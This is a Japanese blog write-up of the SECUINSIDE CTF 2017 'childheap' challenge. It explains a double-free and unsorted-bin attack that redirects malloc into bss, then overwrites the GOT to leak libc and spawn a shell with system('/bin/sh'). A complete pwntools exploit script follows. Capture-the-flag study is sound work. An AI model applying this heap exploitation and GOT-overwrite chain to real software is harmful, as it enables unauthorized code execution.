ブログ未満のなにか

ブログなのか誰にも分からない

SECUINSIDE CTF 2017 childheap writeup

はじめに

コンテスト期間中に解くことができなかったが良いところまでいって放置していた。最近解いたので、そのwriteupを載せる。

checksec etc

普通のバイナリなので特に言うことはない。

% file ./childheap
./childheap: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=2464f8e250b3eeb77e11b8748417024fb1bfd49f, stripped

% checksec ./childheap
[*] '/home/hama/ctf/SECUINSIDE2017/childheap/childheap'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE

機能

実行すると3つの機能を選択できそうであるが、実際には4つ目の機能がある。機能についてまとめると以下のとおりである。

  • Allocate heapから指定したサイズ分を割りあてる。サイズには制約があり、0x1ff < size < 0x1000でなければならない。制約を満たすサイズであれば、malloc(size)が実行され取得されたメモリにサイズ分だけ書き込みが行える。malloc()で取得したメモリのポインタはたぶんスタック上でローカル変数として管理されている(この部分はバイナリを読んでいないので分からない)。2.Freeを実行すれば再度の割り当てができる。

  • Free Allocateで確保したメモリをfree()する。double freeが可能。

  • Modify 一度でもAllocateを実行すれば指定可能になる。heao上で管理されるAgeやNameを再編集できる。この管理領域を指すポインタはbssに存在している。

  • Secret 201527を入力すると実行できる機能。適当な数値をbssに保存することが可能。

% ./childheap 
-----ChildHeap 2017 in Secuinside---
1. Allocate
2. Free
3. Modify

方針

このバイナリの特徴は、stdoutに関してはbufferingが切られているがstdinに関しては有効となっている点である。詳しいことは知らないが、ubuntu16.04(正確にはglibcに依存すると思うが)から、入出力のbufferはheapから確保される。 入力のbufferのために確保されるチャンクとAllocateで確保できるチャンクと、double freeを上手く使ってunsortedbin attackを行う。書き込む先はModify機能によって編集する先を指すポインタである。unsortedbin attackによってmain_aren内のunsortedbin周りを任意に編集できるようになる。

0x7f1ae77a7b80 <main_arena+96>: 0x7878787878787878      0x7878787878787878
0x7f1ae77a7b90 <main_arena+112>:        0x0078787878787878      0x00007f1ae77a7b88

Secretによって書き込む数値をチャンクのサイズとみなすように、unsortedbinのfd/bkを編集すれば、malloc()で返すポインタをbss上に強制することができる。あとはModifyによって適当にGOTを書き換えてlibc_baseをリークしsystme(“/bin/sh”)を呼ぶ。

exploit.py

#!/usr/bin/env python
from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

RHOST = "13.124.131.103"
RPORT = 31337
LHOST = "127.0.0.1"
LPORT = 31337

# libc = ELF('./libc.so.6')
elf = ELF('./childheap')

def section_addr(name, elf=elf):
    return elf.get_section_by_name(name).header['sh_addr']

conn = None
if len(sys.argv) > 1:
    if sys.argv[1] == 'r':
        conn = remote(RHOST, RPORT)
    elif sys.argv[1] == 'l':
        conn = remote(LHOST, LPORT)
    elif sys.argv[1] == 'd':
        execute = """
        # set environment LD_PRELOAD=./libc.so.6
        b *{0}
        c
        """.format(hex(elf.symbols['main'] if 'main' in elf.symbols.keys() else elf.entrypoint))
        conn = gdb.debug(['./childheap'], execute=execute)

else:
    conn = process(['./childheap'])
    # conn = process(['./childheap'], env={'LD_PRELOAD': './libc.so.6'})

# preparing for exploitation

def Allocate(size, payload):
    conn.sendlineafter('> ', '1')
    conn.sendlineafter('Input size:', str(size))
    conn.sendlineafter('Input data:', payload)

def Free():
    conn.sendlineafter('> ', '2')
    
def Modify(payload, Flag):
    conn.sendlineafter('> ', '3')
    conn.sendlineafter('Do you want to change age (y/n)?', 'n')
    conn.sendlineafter('Input new name: ', payload)
    if Flag:
        conn.sendlineafter('Do you want to change name to new one (y/n)? ', 'y')
    else:
        conn.sendlineafter('Do you want to change name to new one (y/n)? ', 'n')

def Secret(code):
    conn.sendlineafter('> ', '201527')
    conn.sendlineafter('Input secret code:', str(code))


person_addr = 0x6020c0
read_got = 0x602038
printf_addr = 0x400750

log.info('Pwning')

Allocate(0xfff, 'hoge')
Free()
Modify('a'*0x8+'b'*8, True)
Free()
payload = 'x' * 8 + p64(person_addr - 0x10)
Modify(payload, True)
Allocate(0xfff, 'hoge')
payload = p64(0) + p64(0x6020b0 - 8) * 2 # fd and bk are 0x6020b0-8
Modify(payload, True)

Secret(0x211)
Free()
payload = "A" * 8
payload += p64(0x602070-0x8-0x2)
Allocate(0x200, payload)

payload = p64(printf_addr)
Modify(payload, True)

conn.sendline('XXXX%3$p')
conn.recvuntil('XXXX')
libc_base = int(conn.recv(14), 16) - 0xf7230
log.info('libc_base = {:#x}'.format(libc_base))

payload = "AA" + p64(libc_base + 0x45390)
conn.recvuntil('3. Modify')
conn.sendline('12')
conn.sendlineafter('Do you want to change age (y/n)?', 'n')
conn.sendlineafter('Input new name: ', payload)
conn.sendlineafter('Do you want to change name to new one (y/n)? ', 'y')

# Modify(payload, True)
conn.sendline('/bin/sh\x00')

conn.interactive()